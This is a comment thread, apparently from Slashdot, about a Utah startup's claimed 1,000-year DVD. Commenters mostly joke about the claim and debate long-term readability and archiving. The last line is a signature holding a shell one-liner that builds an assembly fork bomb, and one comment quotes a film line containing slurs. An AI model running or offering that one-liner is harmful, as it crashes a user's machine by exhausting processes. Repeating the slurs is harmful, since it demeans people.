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New DVDs For 1,000-Year Digital Storage
anonymous cowpie sends word of a Utah startup that is about to introduce technology for writing DVDs that can be read for 1,000 years after being stored at room temperature. (Ordinary DVDs last anywhere from 3 to 12 years, on average.) The company, Millenniata, is said to be in the final stages of negotiation with Phillips over patent licensing and plans to begin manufacture in September. 1,000-year "M-ARC Discs" are expected to retail for $25-$30 at first, with the price coming down with volume. "Dubbed the Millennial Disk, it looks virtually identical to a regular DVD, but it's special. Layers of hard, 'persistent' materials (the exact composition is a trade secret) are laid down on a plastic carrier, and digital information is literally carved in with an enhanced laser using the company's Millennial Writer, a sort of beefed-up DVD burner. Once cut, the disk can be read by an ordinary DVD reader on your computer."
Posting to prevent accidental mod.
How do we KNOW that they'll REALLY last 1,000 years?
Dubbed the Millennial Disk, it looks virtually identical to a regular DVD, but it's special.
These new non-degradable disks are larger, black, and made out of vinyl.
As if DVD players will be around for 1000 years?
Thanks to the fact the data is literally "carved in", these discs are playable by a wide range of easily obtainable readers. Not only can you put them in a DVD player - in fact, it's possible simply to put a needle in the grooves of the disc, which gives detailed instructions on how to make a DVD player.
(Ordinary DVDs last anywhere from 3 to 12 years, on average.)
For those of you really concerned about optical media in your possession, check out NIST's "Care and Handling of CDs and DVDs - A Guide for Librarians and Archivists" [1.24 MB PDF warning]. That guide is extremely thorough.
While it is a longer span for pressed DVDs, I'm sure the RIAA/MPAA know that the media we purchase songs and movies on has a limited lifespan that may very well be shorter than the consumer's remaining years. And it kind of upsets me that creating backups for your own personal use of DVDs or CDs is illegal (although not typically prosecuted unless copyright infringement ensues). Personally, I rip all my CDs and some DVDs upon purchase and simply never use the disc again. It goes into storage and I create digital backups and hard copy backups of the discs. It's a bit pricier and not as instant as other ways of purchasing media but it ensures I'll always have it. When I purchased the latest Cloud Cult album, I bought the CDs and was able to download unencrypted MP3s immediately after purchase. When I purchased the vinyl record of She & Him, I was e-mailed a voucher to download the MP3s. I wish the big distributors would follow what the little guys are doing and offer you the whole package up front. Saves me a lot of work.
My work here is dung.
1. a player to play the damn thing
2. the resources to build a player to play the damn thing.
3. a screen to view it on
4. the resources to build a screen to view it on
5. the cultural interest in such behaviour (sitting and watching a screen)
6. the cultural capacity to decode and understand what the hell they're watching even if they do decide to watch it, assuming they have the ability to do so. For an extreme example, there is a non-zero probability that in 1000 years, the notion of "fiction" may well not exist, in which case an episode of "Friends" or "Seinfeld" become biographical portraits of stupid foolish people, as one needs to have the fictive distance to decode what is happening.
7. that anyone will give a rat's ass about us in a 1000 years. They may well be pissing on our graves for having ruined the planet, and these disks may simply be destroyed as examples of the evil Evil EVIL petroleum age.
8. Reverse engineering NTSC (SD or HD - just getting 29.97fps with rectangular pixels is fucked up enough) from a disc filled with microscopic pits strikes me as impossible and or pointless.
I can list many more reasons why a 1000 year disk is a waste of time, those are just a few off the top of my head.
Frankly, I think we are the civilisation that in 1000 years will be a great and tantalizing mystery. Their world will be filled with our garbage, telling them how we lived (like wasteful pigs at the trough) but they won't really know that much about what we think (because it was all digital and the technology disappeared in the die-off).
RS
Shoes for Industry. Shoes for the Dead.
If this is true then shouldn't new movies come with a date stamp on the case so you know you're buying a "fresh" copy? Sounds strange to me. I've got data and music CD's I made over 10 years ago that still work. Can't say I've been burning DVDs that long though.
I have DVD's in my collection now older than 12 years old and they work fine. Maybe they mean recordable discs?
SJW: Someone who has run out of real oppression, and has to fake it.
That's a quote from Idiocracy, not flamebait.
Go somewhere random
You mean fewer.
From the musical Big River*
She's got one big breast in the middle of her chest
And an eye in the middle of her nose
So says I, if you look her in the eye
You're better off looking up her nose
(* This post is for cultural research only. No sales of Hulu(tm) ads have been created out of contract by this post. This does not constitute a song.)
My first Journal Entry ever, in 8 years! http://slashdot.org/journal/365947/aphelion-scifi-fantasy-horror-poetry-webzine
(And exactly what are you going to be archiving that you think will still be relevant or usable in a thousand years?)
We still read classic books, watch classic movies, view the originals of artwork. We still reference old records, particularly census and immigration and other genealogical information. We build whole societies around books that are hundreds, or thousands, of years old.
True, anything in constant contemporaneous use will be moved to updated media on an ongoing basis (like those books); but it's always good to check with the originals for authenticity. Imagine if we could see what various famous authors ACTUALLY WROTE instead of what succeeding generations chose to copy.
is behind this technology, I remember hearing and talking a little to him about the research he was doing. It has been a few years since I graduated now. It is pretty cool to see something coming to fruition. The Information Technology program at BYU was the perfect place for a person like me and largely because of the amazing professors who were putting it together when I was there. Of course this technology may not last 1000 years but if it doesn't it will be able to do so because something better came along, not because the media went bad. I haven't read up on the details of their recent developments yet but I can't think of anyone more likely to figure a tricky problem like this out than this professor. He was one of the toughest and sharpest minds I had the pleasure to learn from at BYU.
I'm always confused as to why people get hung on this point so often. Why would someone in 1000 years (barring some apocalyptic situation), or even 20 years need a specific player to read a DVD, floppy disk, hard disk, or anything? All of these can be examined with more generic laboratory inspection equipment now, why is it unrealistic that 10 years from now you might have an optical disk scanner that reads just about anything? Even the encoding that the disks use isn't very complicated, we crack much more difficult codes all the time.
There is precedent. Hieroglyphs written 2000 years ago were undecipherable until the 1799 discovery of the Rosetta Stone and its subsequent study in the following decades. Reading technology was available the entire time (the paintings, writings and carvings were all visible to the unaided eye). Hieroglyphic writings weren't encrypted in any way -- other than being in a coding scheme (language) that fell out of use. The only real apocalypse that occurred over the ensuing eons was the cumulative effects of time. Nations and empires came and went, but we never had to rebuild the totality of the human population and civilization from scratch.
And in 1000 years, before you decode a disk, you've got no idea whether it contains Chinatown, Quadrophenia or some guy's backup of qdata.dat.
I am not a crackpot.
I have 8 floppy drives on my desk if you want to make a long term investment!
Sent from my ASR33 using ASCII
Forgetting that they didn't have carmeras... If someone popped up with a bunch of photos from little Octavius's birthday party from the height of the Roman Empire, TONS of people would be interested in seeing it. From the way they were dressed, to the kinds of gifts they gave, to the way they had their home decorated. Many people really are intersted in the past, and the past is often lost because only extrodinary situation get recorded for the ages. Day to day life is much harder to get a view of.
Ah, you talk like a fag, and your shit's all retarded.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;